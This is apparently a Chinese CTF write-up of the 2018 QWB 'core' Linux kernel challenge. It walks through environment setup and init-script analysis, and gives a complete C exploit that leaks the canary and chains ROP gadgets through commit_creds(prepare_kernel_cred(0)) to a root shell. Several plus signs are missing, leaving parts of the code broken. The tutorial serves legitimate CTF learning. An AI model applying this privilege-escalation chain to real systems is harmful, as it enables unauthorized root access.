Kernel PWN入门——Kernel ROP
环境搭建
代码语言:javascript复制这个主要需要QEMU,按照wiki的步骤来应该没问题,相信学到这里,大家应该也会搭建环境了。其次就是ropper的安装,用来找gadget,安装方法如下所示。
pip3 install capstone unicorn keystone-engine ropper
分析题目
题目给了 bzImage
,core.cpio
,start.sh
以及 vmlinux
四个文件,接下来简单介绍一下。
- bzImage:目前主流的 kernel 镜像格式,即 big zImage(即 bz 不是指 bzip2),适用于较大的(大于 512 KB) Kernel。这个镜像会被加载到内存的高地址,高于 1MB。bzImage 是用 gzip 压缩的,文件的开头部分有 gzip 解压缩的代码,所以我们不能用 gunzip 来解压缩。
- vmlinuz:vmlinuz 不仅包含了压缩后的 vmlinux,还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言,该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
- core.cpio:文件系统镜像
- start.sh:启动脚本
找gadget
因为我们的文件实在是太大了~~(要好久好久……)~~,所以可以提前找gadget,这边使用的是ropper,接下来看一下使用方法。
首先我们进ropper,然后file我们的文件,等待片刻(很久)就可以得到我们的结果(如果遇到卡死的情况,可以按一下Ctrl C,个人感觉有用!)。然后就可以使用search来找gadget了!!!
代码语言:javascript复制如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。
╰─➤ chmod x extract-vmlinux
╰─➤ ./extract-vmlinux ./bzImage >nm1
╰─➤ ls
bzImage core.cpio extract-vmlinux nm1 start.sh vmlinux
我自己也是边写边找gadget,hhhh!
看start.sh
我们先cat一下啊!然后来分析一下每一行的意思:
代码语言:javascript复制╰─➤ cat start.sh
qemu-system-x86_64
-m 64M
-kernel ./bzImage
-initrd ./core.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic
- qemu-system-x86_64: 这是运行 QEMU x86_64 架构的命令。
- -m 64M: 分配给虚拟机的内存大小为64兆字节(MB)。
- -kernel ./bzImage: 指定 Linux 内核的路径,通常是 bzImage 文件。
- -initrd ./core.cpio: 指定初始 RAM 磁盘映像的路径,通常是一个 cpio 格式的归档文件。
- -append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”: 这是传递给内核的命令行参数。其中:
root=/dev/ram
:指定根文件系统为 RAM 磁盘。rw
:以读写模式挂载根文件系统。console=ttyS0
:指定控制台输出到串行端口0。oops=panic panic=1
:在内核遇到致命错误时触发内核崩溃转储。quiet
:在启动过程中不显示冗长的启动消息。kaslr
:启用内核地址空间随机化布局(KASLR)。
- -s: 启用 QEMU 的 GDB 调试服务器,可以通过 GDB 连接到虚拟机进行调试。
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0: 创建一个用户模式网络设备,并将其连接到名为 “t0” 的网络设备上,然后连接到名为 “nic0” 的虚拟网络设备上。
- -nographic: 禁用图形界面,并将控制台输出重定向到标准输出。
看init
先解压出来。
代码语言:javascript复制╰─➤ mkdir core
╭─kali@L ~/Linux/give_to_player
╰─➤ cd core
╭─kali@L ~/Linux/give_to_player/core
╰─➤ mv ../core.cpio core.cpio.gz
╭─kali@L ~/Linux/give_to_player/core
╰─➤ gunzip ./core.cpio.gz
╭─kali@L ~/Linux/give_to_player/core
╰─➤ cpio -idm < ./core.cpio
cpio: core.cpio not created: newer or same age version exists
129851 blocks
然后康一康。
代码语言:javascript复制#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!n'
umount /proc
umount /sys
poweroff -d 0 -f
这个启动脚本是用来在配置一些基本的系统设置,并加载一个内核模块。让我来逐一解释其中的步骤:
mount -t proc proc /proc
: 挂载 proc 文件系统到/proc
目录,用于提供进程信息。mount -t sysfs sysfs /sys
: 挂载 sysfs 文件系统到/sys
目录,提供关于系统硬件及其状态的信息。mount -t devtmpfs none /dev
: 挂载 devtmpfs 文件系统到/dev
目录,提供设备文件。/sbin/mdev -s
: 执行 mdev 命令,用于在/dev
目录下创建设备节点。mkdir -p /dev/pts
和mount -vt devpts -o gid=4,mode=620 none /dev/pts
: 创建并挂载一个 devpts 文件系统到/dev/pts
目录,用于支持伪终端设备。chmod 666 /dev/ptmx
: 更改/dev/ptmx
的权限,以便所有用户都可以访问。cat /proc/kallsyms > /tmp/kallsyms
: 将内核符号表输出到/tmp/kallsyms
文件中,这对于我们很有用。echo 1 > /proc/sys/kernel/kptr_restrict
和echo 1 > /proc/sys/kernel/dmesg_restrict`: 设置内核符号地址限制和内核日志访问限制为只有特权用户可访问。ifconfig eth0 up
: 启动eth0
网络接口。udhcpc -i eth0
: 使用 udhcpc 工具为eth0
接口获取 DHCP 分配的 IP 地址。ifconfig eth0 10.0.2.15 netmask 255.255.255.0
和route add default gw 10.0.2.2
: 手动设置eth0
接口的 IP 地址和网关。insmod /core.ko
: 加载一个名为core.ko
的内核模块。poweroff -d 120 -f &
: 启动一个计时器,120秒后执行强制关机。setsid /bin/cttyhack setuidgid 1000 /bin/sh
: 执行一个 shell 进程,并使用 setsid 将其置于新的会话中,确保不受其他进程的影响。echo 'sh end!n'
: 打印一条消息表明 shell 执行完毕。umount /proc
和umount /sys
: 卸载之前挂载的 proc 和 sysfs 文件系统。poweroff -d 0 -f
: 立即强制关机。
这些步骤一般用于配置基本的系统环境和网络连接,并加载必要的内核模块,以便系统能够正常工作。我们来看一些重点:
- 第 7 行中把
kallsyms
的内容保存到了/tmp/kallsyms
中,那么我们就能从/tmp/kallsyms
中读取commit_creds
,prepare_kernel_cred
的函数的地址了 - 第 8 行把
kptr_restrict
和dmesg_restrict
设为 1,这样就不能通过/proc/kallsyms
查看函数地址了,但我们已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了 - 第 13 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包
同时还发现了一个 shell 脚本 gen_cpio.sh
,是让我们方便打包的脚本,修改完之后我们直接内核启动(千万要删掉重启的那句!!!)。
find . -print0
| cpio --null -ov --format=newc
| gzip -9 > $1
内核启动
代码语言:javascript复制这边要注意,
start.sh
中-m
分配的是 64M,要修改为 128M,因为内存大小不够。
╭─kali@L ~/Linux/give_to_player
╰─➤ cd core
╭─kali@L ~/Linux/give_to_player/core
╰─➤ ./gen_cpio.sh core.cpio
104379 blocks
╭─kali@L ~/Linux/give_to_player/core
╰─➤ mv core.cpio ..
╭─kali@L ~/Linux/give_to_player/core
╰─➤ cd ..
╭─kali@L ~/Linux/give_to_player/core
╰─➤ ./start.sh
退出QEMU是先按下Ctrl A,然后再松开,按一下X。
分析驱动文件
这个看wiki吧,我再介绍也只能复制粘贴了。
EXP
代码语言:javascript复制// gcc exp.c -static -masm=intel -g -o exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// 最终的getshell
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000; // 0xffffffff81000000是酱紫看到的
/*
╭─kali@L ~/Linux/give_to_player/core
╰─➤ checksec vmlinux
[*] '/home/kali/Linux/give_to_player/core/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
*/
size_t vmlinux_base = 0;
// 这个是找到最终的函数地址
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %sn", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %pn", commit_creds);
/*
╭─kali@L ~/Linux/give_to_player
╰─➤ python3
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/kali/Linux/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %pn", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %pn", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %pn", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
// 保存用户态的数据用的
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// 设置off
void set_off(int fd, long long idx)
{
printf("[*]set off to %ldn", idx);
ioctl(fd, 0x6677889C, idx);
}
// 来get canary
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ldn", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// 有点libc的感觉
// gadget = raw_gadget - raw_vmlinux_base vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
// 注意这个强制类型转换,现在buf[0]就是canary
size_t canary = ((size_t *)buf)[0];
printf("[ ]canary: %pn", canary);
size_t rop[0x1000] = {0};
int i;
// 填写canary,rbp-0x50
for(i = 0; i < 10; i )
{
rop[i] = canary;
}
rop[i ] = 0xffffffff81000b2f offset; // pop rdi; ret
rop[i ] = 0;
rop[i ] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i ] = 0xffffffff810a0f49 offset; // pop rdx; ret
rop[i ] = 0xffffffff81021e53 offset; // pop rcx; ret
// 这里加了一个pop rcx是因为下面的gadget是8个字节的指令,一共有三条指令,这样才能返回到commit_creds的地址。
rop[i ] = 0xffffffff8101aa6a offset; // mov rdi, rax; call rdx;
/* debug的时候一定要远程连上QEMU
pwndbg> x /4i 0xffffffff9181aa6a
0xffffffff9181aa6a: mov rdi,rax
0xffffffff9181aa6d: call rdx
0xffffffff9181aa6f: cmp rbx,r15
0xffffffff9181aa72: mov rax,QWORD PTR [rbx]
*/
rop[i ] = commit_creds;
rop[i ] = 0xffffffff81a012da offset; // swapgs; popfq; ret
// 这里是popfq,
rop[i ] = 0;
rop[i ] = 0xffffffff81050ac2 offset; // iretq; ret;
rop[i ] = (size_t)spawn_shell; // rip
rop[i ] = user_cs;
rop[i ] = user_rflags;
rop[i ] = user_sp;
rop[i ] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
在执行完 iretq
指令后,系统会从栈中弹出寄存器的值,以恢复用户态的执行环境。iretq
指令会根据栈中保存的内容进行如下操作:
- 弹出
RIP
寄存器的值:这个值指示了下一条要执行的指令在用户空间的地址,即spawn_shell
函数的地址。 - 弹出
CS
寄存器的值:这个值是用户代码段的段选择子,告诉处理器从用户代码段中执行指令。 - 弹出
RFLAGS
寄存器的值:这个值包含了各种标志位,比如进位标志、零标志等。 - 弹出
RSP
寄存器的值:这个值是用户栈的栈顶指针,告诉处理器下一个栈操作应该发生的位置。 - 弹出
SS
寄存器的值:这个值是用户栈段的段选择子,告诉处理器从用户栈段中读取数据。
通过这些弹出操作,处理器会将控制权交还给用户空间的代码,从而实现了从内核空间到用户空间的切换,并开始执行用户自定义的代码。
getshell
代码语言:javascript复制这个地方就是把编译好的二进制文件放到/tmp文件夹里面,然后运行一下就好了。
╭─kali@L ~/Linux/kernel
╰─➤ gcc exp.c -static -masm=intel -g -o exp
╭─kali@L ~/Linux/kernel
╰─➤ cp exp give_to_player/core/tmp
╭─kali@L ~/Linux/kernel
╰─➤ cd give_to_player/core
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤ ./gen_cpio.sh core.cpio
110923 blocks
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤ mv core.cpio ..
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤ cd ..
╭─kali@L ~/Linux/kernel/give_to_player
╰─➤ ./start.sh
代码语言:javascript复制参考:[2018强网杯 core | X3h1n](https://x3h1n.github.io/2019/07/04/2018强网杯-core/)
[ctf-wiki](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/rop/#get-root-shell)